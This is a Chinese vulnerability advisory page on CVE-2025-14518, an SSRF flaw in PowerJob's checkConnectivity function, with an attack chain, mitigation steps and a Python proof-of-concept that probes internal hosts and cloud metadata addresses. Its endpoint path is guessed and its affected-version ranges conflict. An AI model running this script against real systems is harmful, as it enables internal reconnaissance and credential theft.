IPBUF安全漏洞报告
English
CVE-2025-14518 CVSS 6.3 中危

CVE-2025-14518 PowerJob PingPongUtils.checkConnectivity SSRF漏洞

披露日期: 2025-12-11

漏洞信息

漏洞编号
CVE-2025-14518
漏洞类型
服务器端请求伪造(SSRF)
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
PowerJob

相关标签

SSRF服务器端请求伪造PowerJobCVE-2025-14518任务调度框架内网探测PingPongUtilsNetwork Request Handler

漏洞概述

PowerJob是一个开源的分布式任务调度框架,广泛应用于企业级应用中的定时任务管理和分布式计算场景。该框架支持CRON表达式、API调用、任务编排等多种任务触发方式,并提供可视化控制台进行任务管理。

CVE-2025-14518漏洞存在于PowerJob的Network Request Handler组件中,具体位于PingPongUtils.java文件的checkConnectivity函数。该函数在处理网络连通性检测时,未对用户传入的targetIp和targetPort参数进行充分的输入验证。攻击者可以通过构造恶意的IP地址和端口参数,诱导服务器向任意内部或外部资源发起请求。

由于该漏洞可通过远程利用,且不需要高权限认证即可触发,攻击者可以利用此漏洞探测内网服务、访问内部敏感接口、读取本地文件或执行端口扫描等操作。此漏洞的CVSS评分为6.3,属于中等严重程度,但考虑到其可能被用于进一步的攻击链,实际危害不容忽视。

技术细节

漏洞根源位于PowerJob的PingPongUtils.java文件中的checkConnectivity方法。该方法设计用于检测目标服务的连通性,但在实现上存在以下问题:

1. 参数验证不足:函数直接接收targetIp和targetPort参数,未对这些输入进行严格的合法性校验。攻击者可以传入任意IP地址(包括内网地址如127.0.0.1、10.x.x.x、192.168.x.x等)。

2. 缺少URL白名单机制:函数未限制可访问的目标范围,允许请求到达任意端口的任意主机。

3. 利用方式:攻击者通过构造类似以下的请求,触发SSRF:
- 探测内网服务:指定内网IP和端口,探测服务是否存在
- 读取云元数据:访问云平台的元数据接口(如AWS 169.254.169.254)
- 端口扫描:遍历内网IP段和端口,绘制内网拓扑
- 绕过防火墙:通过服务器作为跳板访问受限资源

4. 影响范围:任何调用checkConnectivity函数的API端点都可能成为攻击入口,远程攻击者可通过低权限账户利用此漏洞。

攻击链分析

STEP 1
步骤1
攻击者识别目标PowerJob应用,定位调用checkConnectivity函数的API端点
STEP 2
步骤2
攻击者构造恶意请求,指定targetIp为内网IP地址(如127.0.0.1、云元数据地址169.254.169.254等)和任意端口
STEP 3
步骤3
服务器接收到请求后,未经验证即调用PingPongUtils.checkConnectivity函数,向指定目标发起网络连接
STEP 4
步骤4
攻击者通过响应时间差异或响应内容判断内部服务状态,实现内网探测、端口扫描或敏感数据获取
STEP 5
步骤5
利用SSRF作为跳板,进一步发起横向移动攻击或获取云环境凭证等敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-14518 PowerJob SSRF PoC # Target: PowerJob <= 5.1.2 # Vulnerability: PingPongUtils.checkConnectivity SSRF import requests import argparse def exploit_ssrf(target_url, internal_ip, internal_port): """ Exploit SSRF vulnerability in PowerJob's checkConnectivity function. Args: target_url: Base URL of PowerJob application internal_ip: Internal IP to target (e.g., 127.0.0.1) internal_port: Internal port to check (e.g., 6379 for Redis) """ # Endpoint that calls checkConnectivity (typically in network check APIs) endpoint = f"{target_url}/api/checkConnectivity" # Malicious payload targeting internal service payload = { "targetIp": internal_ip, "targetPort": internal_port } print(f"[*] Targeting: {internal_ip}:{internal_port}") try: response = requests.post(endpoint, json=payload, timeout=10) if response.status_code == 200: result = response.json() print(f"[+] Response: {result}") if "success" in str(result).lower(): print(f"[!] Service detected at {internal_ip}:{internal_port}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") def check_cloud_metadata(target_url): """ Attempt to access cloud provider metadata service. """ metadata_endpoints = [ "169.254.169.254/latest/meta-data/", "169.254.169.254/latest/user-data/" ] for endpoint in metadata_endpoints: print(f"[*] Checking metadata endpoint: {endpoint}") # Similar exploitation logic would be applied here if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-14518 PoC") parser.add_argument("-t", "--target", required=True, help="Target PowerJob URL") parser.add_argument("-i", "--ip", default="127.0.0.1", help="Internal IP") parser.add_argument("-p", "--port", type=int, default=6379, help="Internal Port") args = parser.parse_args() exploit_ssrf(args.target, args.ip, args.port)

影响范围

PowerJob < 5.1.2

防御指南

临时缓解措施
在官方修复版本发布之前,可通过以下措施临时缓解风险:1) 在网络边界设备上限制服务器对外访问的IP和端口范围;2) 临时禁用或限制checkConnectivity相关API的访问权限;3) 加强对应用接口的监控和日志审计,及时发现异常请求行为;4) 使用网络隔离技术,限制应用服务器与内部敏感网络的直接通信。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表